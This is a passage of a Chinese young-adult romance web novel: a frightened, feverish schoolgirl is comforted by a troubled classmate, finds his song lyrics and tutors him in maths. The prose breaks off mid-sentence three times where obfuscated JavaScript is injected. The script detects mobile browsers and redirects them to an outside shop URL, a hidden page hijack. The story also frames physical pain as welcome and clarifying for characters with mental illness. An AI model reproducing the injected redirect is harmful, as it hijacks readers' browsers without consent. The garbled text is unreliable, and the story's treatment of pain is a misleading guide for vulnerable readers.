他是真的有病,双相情感障碍,从两年前,到现在,情况有所减缓,但一直没好。 再多加个“神经病”的头衔,好像也没什么。 谢劲舟拿过啤酒喝起来,喝了几口侧头看驰路:“驰路,你是不是后悔了?” “后悔什么?” “后悔来找我。” “不,”驰路也拿了罐啤酒喝起来,喝了大半罐后说,“我很庆幸,来找你了。” “为什么?” “没有谁生来就要活在烂泥里,也没有谁生来就会被世界遗弃。”驰路靠在沙发背上,看着谢劲舟脖颈间的字母文身,“舟哥,有时候,我看你很不爽,但我依然希望你能好好活着。你没被世界遗弃,你可以不用活在烂泥里。既然你要在风暴中起舞,那就好好舞吧,舞出生命的意义!” 37. 小蝴蝶发烧了 「我希望雷声消失、闪电消失、暴雨消失。 可是,如果它们都消失了,世界上还有你吗,Z? 如果世界上没有你了,我宁愿它们依然存在。」 ——《小蝴蝶的盛夏》 躺在沙发上时,驰路没吹灭蜡烛,空气中飘散着白桃乌龙味,似乎还残留着谢劲舟特有的味道。 谢劲舟睡在一墙之隔的铁床上。 她不稀罕睡他的床,但他这人一点也没有让女生睡床的意识。 他这人,她捉摸不透。 无所谓,睡沙发就睡沙发。 她认床,睡哪里都一样。 在这荒山野岭的半山腰的小屋里,驰路换上已经干了的吊带裙,窝在沙发里,听着让她舒心的烛火,比她来芳町镇的第一天晚上要入睡早。 也许累了,也许,谢劲舟就在隔壁。 半夜,驰路被阵阵滚雷惊醒,吓得她“啊”地惊呼出声,身体哆嗦着,睁眼醒来,睁眼的瞬间,看到从天空劈下的闪电,透过窗户斜斜地射/进来。 又下雨了,雨珠砸在窗户上,发出啪啪的声响。 她像受惊的野猫,腾地从沙发上坐起来,蜷缩成一团,将脑袋深深地埋在膝盖里,想以此逃避自己害怕的雷电。 即使她闭着眼、捂着耳朵,仍能感到闪过眼前的闪电,和在耳边轰隆作响的惊雷。 小小的储物间,没有窗,没有灯,锁了门,她打不开,夜晚响起阵阵雷声,吓得她整晚哭闹,她使劲拍门,无人理睬。 逼仄黑暗的小屋里,密不透风,只有一扇小小的窗,深夜下了很大的雨,雷电交织,她吓得缩在角落,无声地哭,一夜未眠。 那些有关雷电的暴雨夜,再次冲击着她的大脑,拉扯着她的神经末梢。 那个任外界无论怎么跌宕,依然岿然不动的驰大小姐,变成了可怜兮兮的胆小鬼。 她不想一个人,她想抓住什么,什么都好。 她努力让自己镇定一点,颤颤巍巍地站起来,想去找开灯的那根绳子,但在黑暗里怎么都没找到。 刚想弯下腰坐回去,一道闪电劈进来,随之而来的是连绵不绝的惊雷声。 驰路吓得跌坐在沙发上,窝在一角,久久不动。 脸颊上滚落受惊后的生理性眼泪。 * 长夜漫漫,进入郁期的谢劲舟常常过着日夜颠倒的生活,一直没睡,刚关了灯想睡时,忽然听到门被打开的声音。 谢劲舟立马从床上坐起来,于黑暗中,他听到一阵抽噎的哭声,克制的,隐忍的,让人心疼的。 刚才他就听到了驰路的哭声,本来想去看看发生了什么,想想还是算了,没有谁会愿意自己痛哭流涕的一面被别人看到吧。 谢劲舟没想到她会来,而且是以一副可怜兮兮的模样。 窗外一道闪电劈进屋里,谢劲舟清楚地看到驰路,她像一只被人丢弃的野猫,双手双脚趴在地上,匍匐着往前走。 她穿着黑色V领真丝吊带裙,露出胸前的沟壑,肌肤跟黑色裙子形成鲜明对比,白得耀眼。 驰路正抬头看着他的方向,脸上全是交错的泪水,露出害怕、惊恐的神色。 如果说在雨中迷路的驰路是可怜的流浪猫,那现在的驰路就是被全世界遗弃的小野猫,可怜得想让人收留。 谢劲舟对情感一向表现得淡薄,女生缠着他不想跟他分手时,常常泪水涟涟,他却不为所动。 但看到驰路哭,他的心就很不痛快,像有人拿针刺他的心脏。 谢劲舟坐在床沿上,看着她朝自己爬过来,听到她喃喃道:“舟哥,舟哥……” 一遍遍地呼喊着他,她的声音不再是倨傲的,而是发着抖,跟她匍匐的身体一样。 谢劲舟再也无法镇定,立刻从床上跳下来,疾步跑到驰路身前,将她的双手拽起来,把她紧紧地拥在怀里。 “阿驰,舟哥在,舟哥不会离开!”谢劲舟上下抚摸着她的背,小声地安慰她,语气难得温柔。 外面的雷声依旧震耳欲聋,吓得驰路直往谢劲舟怀里拱,大颗大颗的眼泪控制不住地往下掉。 驰路紧紧地抱着谢劲舟,拽着他的背心,哭得几乎要呼吸不畅。 她不想这样,却控制不了自己。 恐惧像长了手,狠狠地捏住她的心脏。 谢劲舟没有问发生了什么,她在想什么,而是沉默地抱着她,一直轻抚她的背。 她真瘦,瘦得蝴蝶骨凸起,能感受到皮肉包裹下的脊椎骨。 他发现她的身体发烫,将她推开,用自己的额头贴向她的,比他的要烫。 这小姑娘,发烧了。 他这儿什么都没有,他不喜欢备药,不管是跌打损伤,还是发烧,他都硬抗,因为他享受疼痛的滋味,那让他觉得自己还活着。 “阿驰,你发烧了。”谢劲舟将驰路一把抱起,轻轻地放到床上,想转身去给她烧水,却被她拽住手腕。 “舟哥,别走!”驰路连忙坐起来,双手紧紧箍住他的脖颈,脸几乎贴着他的脸。 谢劲舟的脸上瞬间染上她的热泪,心底却凉了下去。 他揉了揉她松软的头发,在她耳畔轻声说:“阿驰,舟哥很快就回来。” “灯,开灯。”驰路颤着声音说,箍住谢劲舟的脖颈的手依然没松开。 “好,开灯。”谢劲舟竟像哄谢林乔一样地哄着驰路,边揉着她的脑袋边打开了手机上的电筒,“阿驰,松开,我去开灯。” 漆黑的房间被些许灯光照亮,驰路恐惧的情绪才如潮水般一点点消退,抬起她楚楚可怜的眼睛,看着谢劲舟:“舟哥,你要快点回来!” “好!”谢劲舟松开她,先开了房间的灯,才转身去客厅烧水,煮到温水的程度便关了。 他拿着玻璃水杯去房间,看到驰路弓着身子睡,脸颊红通通的,像煮熟的虾。 谢劲舟走到她身边,轻声唤她的名字,唤了几声,她才睁眼,却没有想坐起来的意思。 “起来吧,喝点水再睡。” 驰路的眼睛上还糊着泪水,脑袋又有些昏昏沉沉,迷迷蒙蒙地望着谢劲舟,像望着一场一戳就破的人间绮梦。 “别哭了,”谢劲舟抬手帮她擦掉眼角的泪水,“哭起来的样子丑死了!” 他的这句话将驰路拉回现实,还是那个令她捉摸不透的谢劲舟。 驰路赖在床上没动,她要看看谢劲舟要对她做点什么,是骂她,还是把她拎起来。 结果,她想象中的情景一个都没发生,谢劲舟一手稳稳地端着水杯,一手将她扶着靠在床头,把水杯递到她嘴边,给她喂水。 驰路被他的举动吓了一跳,她是发烧了,但他至于如此对自己吗? 对她好得让她怀疑眼前的人不是谢劲舟,他哪里有这样的耐心。 驰路望着谢劲舟,看到他眼睛里竟然有一丝柔情,很浅很浅的一层,如果不仔细看,根本看不出来。 “看什么,喝!”谢劲舟单手托起她的后脑勺,另一只手掰开她的嘴巴,直接给她灌水。 啧,这才是谢劲舟,一贯的霸道。 驰路在他的强灌下,喝完了一杯水。 嘴角残留一滴水,刚想伸出舌头舔掉,却看到谢劲舟伸手帮她擦掉。 指腹粗粝的纹路划过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560754|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的唇角,起了一层细细密密的酥麻感。 “晚上你睡这儿,我睡沙发。” 窗外的雨还在下,雨声阵阵,雷声轰隆。 谢劲舟转身要走,驰路拽住了他的背心下摆:“陪我,好不好?” 他看着穿着黑色吊带睡裙的驰路,眼睛往她胸前一瞥,吊儿郎当道:“你就不怕我对你做点什么?” “舟哥,你会吗?你是那种人吗?”驰路赌他不会。 谢劲舟没有回答,转身把杯子放到桌上,没有关灯,转身往床边走,看到驰路已经躺了下来。 黑色V领吊带睡裙勾勒出她极姣好的少女身段,她只要躺着,什么都不动,就已经美得不像话,随便拍一张,都是能入画的美景。 谢劲舟见过无数美人,早已免疫,但面对这样的驰路,他竟感到身体一阵燥热。 她让自己陪她睡,是要他的命吧! 谢劲舟抑制住内心燃起的那团燥热火焰,背对着驰路,躺在床上。 陪她就陪她吧,她却不安分地动手摸了下他颈侧的文身。 谢劲舟一把抓住她的手,侧头瞪她:“做什么?勾引我?” “谁勾引你!”驰路甩开他的手,“我想让你转过来,我不想看到你的背影。” 我想看到你的脸,哪怕是冷漠的、无情的,也无所谓。 她看多了背影,背影在她这里,代表离别,可能再见,可能再也不见,会给她带来疏离和伤感。 “怎么,你要看我的脸?”谢劲舟看着她泛红的眼睛,“我的脸就那么好看?” 好看是好看,但驰路不想说,不想让这位颜值大佬得逞。 驰路拿起他胸前项链上的吊坠,看着里面如山起伏般的黑白:“舟哥,里面放你妈妈的骨灰,你就不害怕?” 很多人都忌讳死亡,更何况还要日日夜夜跟离世人的骨灰在一起。 “害怕?”谢劲舟像听到了天大的笑话,勾了勾唇,从她手中拿过吊坠,看着里面的片片流动的灰白色,“她是我妈,不管以什么形态出现,她都是我妈。” 他用掌心捂住项链上的锆石,给驰路看,锆石里发出些微的幽蓝:“每次看到这里面的幽蓝,我总会想,妈妈变成了天上的星星,一直在守护着我跟小乔,从未离开。” “为什么非要用这样的方式?”驰路说,“对你妈妈真的好吗?” 在驰路的认知里,离去的人,要去另外的世界,完整地历经轮回,不该停留在人间。 “其实,一开始我并没有想留下什么。”谢劲舟的声音很低又很哑,眸子里流露出一抹感伤,“我妈去世的那几天,她一直给我托梦,放心不下我跟小乔,希望一辈子陪着我们。我在梦里问她,怎么才能让她一辈子陪着我们,每次到这个时候,她就离开了。直到给她火化前一晚,她又给我托梦,让我留下她的骨灰,这样就能一辈子陪着我跟小乔。” 谢劲舟的声音越来越低,嗓子也越来越哑,眸子里浮出一片水光。 驰路看得格外心疼,握住他的手,似乎在给他力量:“舟哥,我相信,万物是守恒的,失去的东西不会完全消散,失去的人也会以另一种方式存在。你妈可能去了天堂,也可能变成了吹在我们身上的一缕暖风、供我们呼吸的清新空气,或者变成了照亮夜空的一颗星星。她其实一直都在,以她的方式,守护着你跟小乔。” 谢劲舟感受到手背的温热,似火般烫着他的心脏。 他听到驰路说:“舟哥,不论这个世界多么破碎,我都会陪着你。” 声音坚定,气息温热。 宛若宇宙刮起了一阵温暖的飓风,持久地震荡他的世界。 38. 发现舟爷会写歌词 「没有谁可以点亮这沉闷的盛夏,唯有你可以。 蝴蝶路过人间,比什么都耀眼。」 ——《不夜港》 以往每个雷雨的夜晚,驰路都整夜处在恐惧中,无法入睡。 但今晚的她,在谢劲舟的陪伴下,竟破天荒地很快入睡,还睡到日上三竿。 她醒来时,身边是空的,谢劲舟起床了。 正好是周日,不用去学校,她可以在这里再待上一天。 驰路摸了下额头,烧退了。 她没有立刻起来,而是滚到了谢劲舟睡的地方,上面残留着他的气息,独特的,野性的,似乎还有一点余温。 她摸了摸,仿佛他还在。 驰路脑中不由得蹦出昨晚谢劲舟照顾她的画面。 谢劲舟见她额头滚烫,拿来凉毛巾敷在她的额头上,见不凉了,会立刻跑去再拿来凉的换上,像个跑前跑后的小用人。 有时,凉水滑到她脸上,谢劲舟会抬手轻轻帮她拂去。 羽毛般掠过,却似过电,烫得她脸颊越发红润、滚烫。 驰路的脑袋昏昏沉沉,侧头看着谢劲舟,声音哑哑的:“舟哥,你为什么对我这么好?” “因为,你是我的信徒。”谢劲舟抬手捏了捏她的脸颊,痞里痞气道,“神明高高在上,神明也可以为信徒弯腰。” 神明一晚上都在为信徒弯腰,用蘸了凉水的毛巾,一遍遍帮他的信徒降温。 …… 驰路在床上赖了一会儿,才爬起来,下床,正好踩在一个东西上,不是水泥地,没硌到她的脚。 低头去看,是一双比她的脚大了几码的黑色凉拖,谢劲舟的。 这人,竟然好心到留他的鞋给她,真是太阳打西边出了。 驰路穿上拖鞋,伸了个懒腰,踩着洒进来的阳光想往外走,余光一瞥,无意间看到桌上有一个笔记本,还有被揉成一团的纸团。 脚下也踩到了什么东西,也是纸团,三三两两地散落在地上。 这是什么? 驰路弯腰捡起纸团,打开看了两三张,都是一行行潦草潇洒的字迹,上面都有修改的痕迹,这儿划掉一句,那儿改了字词。 他在写词? 驰路又打开桌上的纸团,上面写着: 《迷途》 蜉蝣生物陷入沼泽地 争先恐后想逃离 却缠绕一体掉进阴影 深海珊瑚想跃出海底 海藻却如影随形 总难以前行如光泡影 是否在这风里花都无法开尽兴 是否在我这里谁也走不出泥泞 是否在你那里才能开得出安宁 世界什么时候可以归零 浮游生物什么时候逃离沼泽地 我什么时候可以不用曲意逢迎 命运什么时候可以肆意 深海珊瑚什么时候跃出海底 我什么时候可以不被世俗定义 无数海鸥要逆风飞行 海风却提供阻力 总无法飞行满目狼藉 漂泊小船掉落荒原里 荒草里结了寒冰 总无法前行哪来归期 是否在这雾里风迟迟不会刮起 是否在我这里谁也走不到光里 是否在你那里才有人披荆斩棘 世界什么时候可以归零 无数海鸥什么时候能逆风飞行 我什么时候可以不丧失勇气 命运什么时候可以肆意 漂泊小船什么时候开出荒原里 我什么时候可以走进光里 迷途的蜉蝣难逃沼泽地 迷途的珊瑚难以前行 迷途的海鸥难以飞行 迷途的小船没有归期 想追逐风的勇气 想掉进光的涟漪 想找到命运的归期 谁能给我一个温暖的朝夕 每个字都饱蘸浓烈情感,拉着你在辽阔又孤寂的荒原里奔跑,你奋力地往前跑啊跑,却发现路没有尽头,黑暗没有止境。 你想寻找的、等待的那束光,迟迟不来。你迷惘,你彷徨,却一直走不进光里,无助又绝望。 这样的情感,驰路深有体会,昨晚当她再次陷入往日恐惧时,何尝不是这样的心理。 幸好她不是一个人,还有谢劲舟陪她。 谢劲舟写下这些句子时,是怀着怎样痛楚的心情。 在外人看来,他嚣张跋扈、无所不能,但谁又能看到他的脆弱、他的无助,甚至想离开这个世界。 他把真实的自己裹在厚厚的壳里,逃避世俗一切。 驰路有些难受地放下纸团,忽然听到门外传来一阵脚步声。 谢劲舟来了。 驰路赶紧收回手,迅速地把方才展开的纸又揉成一团。 谢劲舟进来时,看到的驰路两只手上都拿着纸团,眉头倏忽一皱,脸色很不好看。 驰路知道他生气了,赶紧解释:“太乱了,我拿出去扔了。” 不等谢劲舟说话,驰路匆匆地想跑开,却被谢劲舟一把拽住手腕,紧紧地扣着。 “谁允许你扔的?”谢劲舟眸子锋利地看她,“都放桌上!” 凶什么凶! 驰路想挣脱开他的手,他却没有一点自觉,依然紧扣着。 她抬起胳膊,示意他松手:“松手啊!” 谢劲舟不是松开的,而是甩开的,跟昨晚照顾她的那个人判若两人。 真是阴晴不定! 驰路将纸团扔到桌上,绕过谢劲舟走出房间。 这儿没有洗漱用品,她也不想去那个简陋到不行的洗漱池,干脆出了小屋,走到湖边,捧着水漱口、洗脸。 昨晚下过一阵雨,树上、花草上还栖息着晶莹的水珠,在阳光的折射下发出彩虹般的光。 天气很好,天空一碧如洗,阳光暖意融融,到处鸟语花香、蝉鸣阵阵。 驰路完全陷在阳光下,整个人被阳光照着,像笼了层薄薄的金纱。 洗完脸,她没擦脸上的水珠,一滴滴水珠缀在她脸上,像一颗颗饱满的珍珠,将她的巴掌脸衬出一种原生态的自然美,美得又纯又欲。 她没换衣服,还穿着那条黑色真丝吊带睡裙,漫步花草间,像一只黑色燕尾蝶。 绿色的草地上,盛放朵朵蓝色的花,花上飞舞着颜色不一的蝴蝶。 驰路蹲下身,采了一朵花,别在耳后,开始捕蝴蝶,像极了不谙世事的小女孩。 斜着倚靠在墙上的谢劲舟一手插在裤兜里,一手正拿着烟,烟却没抽一口,望着不远处的驰路。 她踢掉了拖鞋,赤脚踩在柔软的草丛间,追着一只又一只的蝴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560755|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蝶,白的、黑的、蓝的…… 多久没捕过蝴蝶了? 多久没这么肆意地沉浸在大自然的怀抱中了? 驰路放任自己去追蝴蝶,跑起来,风掀起来了裙摆,裙角飞扬。 阳光像碎银子般落在她的每寸肌肤上,白得耀眼,又美得像高山上覆盖的那层薄雪。 谢劲舟手中的烟已蓄了长长一截烟灰,他全然不在意,任由它自生自灭,目光一直追随着那个闪着光的小姑娘。 差点就抓住那只白色蝴蝶了,却从她的指缝间溜走。 驰路没放弃,不知疲倦、兴致勃勃地继续追蝴蝶,奔跑起来的样子,轻盈、好看,每一步都生风。 她去追那些煽动者翅膀的蓝蝴蝶,它在前面飞呀飞,她在后面追呀追。 离蓝蝴蝶越来越近,驰路伸手要去抓,却扑了个空,撞进结实的怀里。 她眼前的光被人挡住,她的鼻端满是谢劲舟的气息。 “谢劲舟,我都要抓住它了,你来做什么?”驰路往后退了一步,不满地抬头看他。 谢劲舟稍稍展开右手心。 驰路眼前一亮,在他掌心里扑腾着的是那只蓝蝴蝶。 “你抓到了!”驰路兴奋道。 “看你抓,太费劲了。”谢劲舟说,“打算怎么处置?” “你先拿着。”驰路伸出食指,轻轻地摸蓝蝴蝶的黑色翅膀,“真好看。” 蓝蝴蝶求生欲不减,一直在谢劲舟手心里乱撞,弄得他很烦:“你拿着,老子可不伺候这玩意儿!” “放生吧。”驰路看着蓝蝴蝶拼命扑腾的样子,心里不太好受。 她抓蝴蝶是兴致,抓到了开心,抓不到也无所谓,并没有占为己有的想法。 当然,这是她现在的想法,换作儿时,她可没这个好心,抓到蝴蝶,会把蝴蝶当玩具,放到玻璃罐里。 后来,当她感受到命运无常、生活苦楚时,发现自己不过是一只被人关在玻璃罐子里的蝴蝶,扑腾着翅膀,在罐子里横冲直撞,想要出来,却出不来,最终只能被活活闷死。 谢劲舟松开掌心,蓝蝴蝶飞向空中,越飞越远。 它终于,自由了! 驰路望着蓝蝴蝶飞走的方向,而谢劲舟望着她。 她沉思着,似乎在想些什么。 思绪被拉回,是驰路感到谢劲舟在拨她的头发,立马侧头看他:“你做什么?” “你的花掉了,给你再戴一朵。”谢劲舟重新采了一朵花,插在她的耳朵上。 他的指腹悄无声息地划过她的耳廓,蹿上一阵电流,烧得她的耳朵尖发烫。 驰路弯腰采了一朵紫色花:“知道这是什么花吗?” “紫花?”谢劲舟看着她指间的花,阳光洒在花朵上,也洒在她的手指间,照得她的手指泛着光,近乎透明。 驰路被他的直男思维逗笑,给他普及:“洋桔梗。”她停了停问,“知道它的花语吗?” “不知道。” “我对这个世界充满戒心。”驰路慢悠悠地转着手中的洋桔梗,一直仰头看着谢劲舟,眸子里洒满阳光,烟嗓不再低沉,微扬,“但在你面前,我愿意卸下所有防备。”【注】 驰路停止转动洋桔梗,递给谢劲舟。 谢劲舟愣了片刻,伸手接过。 接过的瞬间,两人的手指似有若无地擦过。 39. X是什么意思? 「Z,你说,我会前程似锦,会有无限风光。 其实,你也一样,你也会前程似锦,会有无限风光。 不过,前提是,你要认清一个真相:人生真正的释然,是跟过去的自己握手言和。」 ——《小蝴蝶的盛夏》 临近中午,谢劲舟烧着水,准备下泡面。 锅里的气泡翻涌着,咕噜咕噜地响,他撕开方便面的包装袋,刚想把面倒进去,看到驰路的手机持续震动。 有人给她打电话,但她在屋外。 谢劲舟把面放到袋子上,过去看,屏幕上不停闪烁着三个字:梁医生。 响了四五下,手机终于安静,他看到屏幕上跳出的信息:阿驰,状态不好时,可以找我。 信息来自“梁医生”。 一句似关心似暧昧的话,不管对方发来的初衷如何,都可见他们的关系不一般。 谢劲舟的眉头皱了皱,把面块扔到锅里,力气过大,滚水溅了出来,溅到他的手臂上,烫得他发疼,却没避开。 他望着渐渐没入滚水里的面块,又扔进去一块,目光凌厉又清寒,像有人招惹了他。 “谢劲舟,你这是煮面吗,都煮烂了!” 驰路进来时,看到谢劲舟一动不动地坐在沙发上,怔怔地看着锅,仿佛称职的守锅人,但其实一点都不称职,面都煮烂了,也不捞上来。 谢劲舟这才猛然回神,但并没急着去捞面,而是看向驰路,目光冷冽,像结了一层冰。 驰路被他的眼神吓了一跳:“干吗这样看我?” 她没招他惹他吧?又要发什么神经? 谢劲舟用冷冽的眼神看驰路看了有十几秒,才去捞面,捞得也凶狠,仿佛跟面有仇。 驰路不知道他在想什么,也没去问,而是看着面前清汤寡水的面,嫌弃地皱起眉头:“你这些天都吃面?” 谢劲舟不回答,挑起一块子面,吃起来。 “我没惹你吧,谢劲舟?” “是我说这儿像原始人住的,你生气了?” “还是,我让你在这儿别荒废学业,让你生气了?” “你不说话,是吧。行,你以为我想理你!” 驰路不再搭理他,自顾自吃起面来,但也吃了两口,她没有一点食欲,不只是因为面难吃得要命,还因为身边坐的这人浑身都是低气压。 她干脆放下筷子,踢掉拖鞋,往沙发上一靠,看到梁清安给她打的电话和发的信息。 梁清安是她的心理医生,认识有三年。 在她最困顿、最无助,最想离开这个世界的时候,是梁清安陪着她,告诉她,这个世界不是非黑即白,不是走入黑暗,就再见不到光亮,太阳会落下,但也会升起,星星会熄灭,但也会闪亮。你可以伤心、难过,可以大哭一场,但不要一直绝望,因为这世上一定会有星光。如果太阳不升起了,星星不闪亮了,就来找我,我来做你的宇航员,陪你一起去找属于你的那颗小行星。 谁都无法理解她的那段至暗时光里,是梁清安给了她绝对的安全感,让她有了活下去的信心和勇气。 他是她生命里,名副其实的救世主。 如果不是他,她应该早就跟这个世界切断了所有联系。 “梁清安”,这三个字,在驰路这里,不只是名词,还是温暖的动词。 她转学来到芳町三中,并没有提前告诉他,是他看到她朋友圈发的信息才知道她转学了。 转来的这段时间,他会偶尔跟她联系,是嘘寒问暖的关切,问她习不习惯这里、跟同学相处得怎么样、有没有遇到什么事情。 小时候,驰路一直希望自己有一个哥哥,这样就能保护她,现在,梁清安填补了这个空缺。 一开学,黎静找她茬的事,她跟梁清安说过,把她引入体育器材室猛灌她食物羞辱她的事,她也跟他说过,但掠过了那帮人想要毁她清白的片段。 她在梁清安面前几乎毫无保留,赤裸裸将自己受过的伤害摊开说给他听,就连气愤也毫不遮掩。 梁清安是个很好的倾听者,她说这些时,静静听着,从不打断。 说到最后,驰路又气又难受地说:“梁医生,你说,他们是不是很坏?” 梁清安会很配合地说:“阿驰,他们是不对,他们不该这样对你。” 作为心理医生,他知道什么时候该说什么话,能跟她产生共情,也能用言语抚慰她的愤怒和悲伤。 他是她的情绪渡口,她难受时,就想去停一停、靠一靠。 驰路看完梁清安给自己发的短信,方才对谢劲舟的不满完全被抛到脑后。 她给梁清安拨电话,才响了两声,便接通了。 “梁医生。”驰路眉眼间浮现温柔,连语气都变得轻缓。 谢劲舟的余光扫过她,她明明开心,为什么他看着就那么不爽。 这是他从未见过的驰路,温柔的、松弛的、卸下所有防备的,像极了在跟最亲密的人聊天。 谢劲舟胡乱吃完面,匆匆喝了两口汤,烦躁地点了一根烟,窝在沙发上,直直地看着驰路。 他们分别靠在两侧的扶手上,都舒展着身子。 驰路靠里,谢劲舟靠外,一条腿曲着,另一条懒懒地放在地上,两人的腿几乎要贴在一起。 他的视线虚虚地落在她身上,看到她的指甲盖上涂了酒红色指甲油,两双纤细白皙的长腿微微曲着,裙摆挪到了膝盖处,隐约可见还被她穿在身上的属于他的黑色短裤,实属魅惑。 她说话时,狐狸眼往上扬着,盖也盖不住的喜悦。 不再是那个擅于伪装的驰路,而是真实的愉悦的她。 谢劲舟抽完了三根烟,驰路的电话才打完,面色红润,春风满面。 驰路把电话放到一边,将脑袋靠在一侧的沙发上,这才感到自己的腿贴着谢劲舟的,连忙往里收了收,坐了起来,听到谢劲舟没来由的说了句:“你不是让我别荒废学业吗,什么时候给老子补课?” 明明是求人的事,却被他说得如此嚣张。 * 驰路怎么也没想到芳町镇大佬谢劲舟竟然收了心,要捡起学业。 谢奶奶、罗子昂他们要是知道了,估计会大跌眼镜。 驰路来的时候只带了英语、数学练习册,昨天被大雨浇湿了,晒过太阳后,干是干了,但上面全是泡了水后的痕迹,用倒是能用。 驰路拿出数学练习册,让谢劲舟先做一套习题,她在旁边做英语习题。 偶尔撇过去,看到他正潇洒地转着笔,习题没做几道,笔不知被转了多少圈。 “舟哥,你能不能专心点?”驰路抓住他的手,不让他转笔,“学习要有学习的样子。” “不会。”谢劲舟说得轻巧,没有一点“我不会,好羞耻”的意味。 “你先做,做完有不会的,我再一起教你。”驰路松开他的手。 “都不会。”谢劲舟感到手背有些发烫。 驰路凑过去看,选择题蒙对了几道,填空题、大题都空着。 她有些头大,自己说什么不好,非要说让他别荒废学业,这下好了,摊上大事了。 犯难之际,想到谢奶奶常常跟她说:“阿驰啊,小谢上初中时成绩很好,后来他妈出事了,他就不好好学了。你成绩好,能不能带带小谢。他现在可以混,但以后呢?上不了大学出来也只能找个做苦力的活儿,我不希望以后,他跟老谢一样,一天天地不干正事,就知道混日子。” 既然他主动提出要补课,她就当回好老师吧,给他读题干、讲解题思路、写解题公式。 讲完几道大题,驰路侧头问谢劲舟:“会了吗?” “不会。” “你有没有好好听?” “没有。”谢劲舟依旧转着笔,闲散地靠在沙发背上,看着驰路,回答得理所当然,语气欠揍。 “……”驰路看他一副吊儿郎当、不学无术的样子,哪里像来补课的,像来要债的,气得拎起他的背心领口,想将他从沙发上拽起来。 奈何这人跟她较着劲,她越往前拽,他越往后靠,依旧岿然不动。 驰路落了下风,却不甘示弱,甩开他的衣领,站起来就要离开。 她不干了,他爱学不学,关她屁事! 然而谢劲舟却不让她走,拽住她的手腕。 驰路懒得去看他,背对着他,想要甩开手,却没甩开,扭头瞪他:“谢劲舟,松手!” “有老师像你这样吗?讲一半就走?”谢劲舟手上使着力,神色却极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560756|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其无辜,仿佛方才没好好听讲的人不是他。 “有学生像你这样吗?心思根本就不在学习上。”驰路怼回去。 谢劲舟见驰路生了气,手上难得松了劲,用大拇指的指腹摩挲着她的手腕,像祈求主人留下来的小狗,语气也软了一点:“好了,驰老师,我好好听还不行吗。” 没有什么诚意的一句话,却是谢劲舟能妥协的最大限度。 驰路见他这副模样,重新坐了下来。 接下来讲题过程中,她没有像第一次一口气讲几道,完全没注意谢劲舟,她在空白草稿纸上写一点,就跟他互动一点,尽可能地让他集中注意力。 讲了几道题,几乎用尽了她所有的耐心。 驰路感到头疼,发现谢劲舟落下的知识点、课程确实挺多,补课之路漫长且艰巨。 讲完一遍后,她让谢劲舟看着题干再做一遍,有不会的地方再问她。 这是驰路第一次看谢劲舟做题,没有以往的吊儿郎当,模样认真。 屋里很安静,听得见他做题时,笔尖落在纸上的沙沙声。 驰路窝在沙发上,心不在焉地刷着手机,余光却落在谢劲舟身上。 他的背弓着,透出薄薄的背心,能看到清晰的脊椎骨,脖颈处的文身那么嚣张地盘踞其间,像一条凌厉的蛇。 他右侧剃得很短的头发长长了些,原本醒目的“X”上也冒出头发茬。 为什么要剃“X”? 驰路之前想过这个问题,想问谢劲舟,但没问。 “X”,应该是谢的首字母吧。 她一直这么认为,不过,现在她想听谢劲舟亲口告诉她,为什么剃“X”。 谢劲舟写完了最后一道题,将练习册递到驰路面前,装模作样地说:“驰老师,学生交作业了。” 哪里像学生的模样,还是芳町镇大佬不可一世的姿态。 驰路没接,而是问他:“X是什么意思?” * “是不是早就想知道了?”谢劲舟将练习册潇洒地往桌上一甩,懒懒散散地靠到沙发上,双手枕在脑后,好整以暇地看驰路。 “说不说?”驰路见谢劲舟并没有开口说的意思,索性不稀罕了,“爱说不说!” “也不是不能说,”谢劲舟说,“以后周六日都来这里给我补课。” “明天你不去学校?” “不去!” “是……” 是你还在郁期吗?这样的话,驰路没有问出口,要不然就是把罗子昂给出卖了。 驰路想了想说:“是想在这里再休息一段时间?” 谢劲舟指了指右腿:“我的腿没好。” 他的腿受了内伤,昨天又在暴雨中背她上山,估计又加重了。 “还疼吗?” “我倒希望一直疼。” “为什么?” “疼痛,可以让我清醒。” 驰路忽然笑了。 “笑什么?” “我们都一样。” 谢劲舟看到驰路的笑容里夹杂着难言的苦涩。 他知道,她住他家的这段时间,她父母很少跟她联系,很少关心她,仿佛她根本不是他们亲生的。 他想起昨晚,她点燃香氛蜡烛,让他听似柴火燃烧的声音,问他“是不是也解压”。 他想起今天给她打电话的“梁医生”,她一定也有过心理问题吧。 他们都一样,他们是一路人。 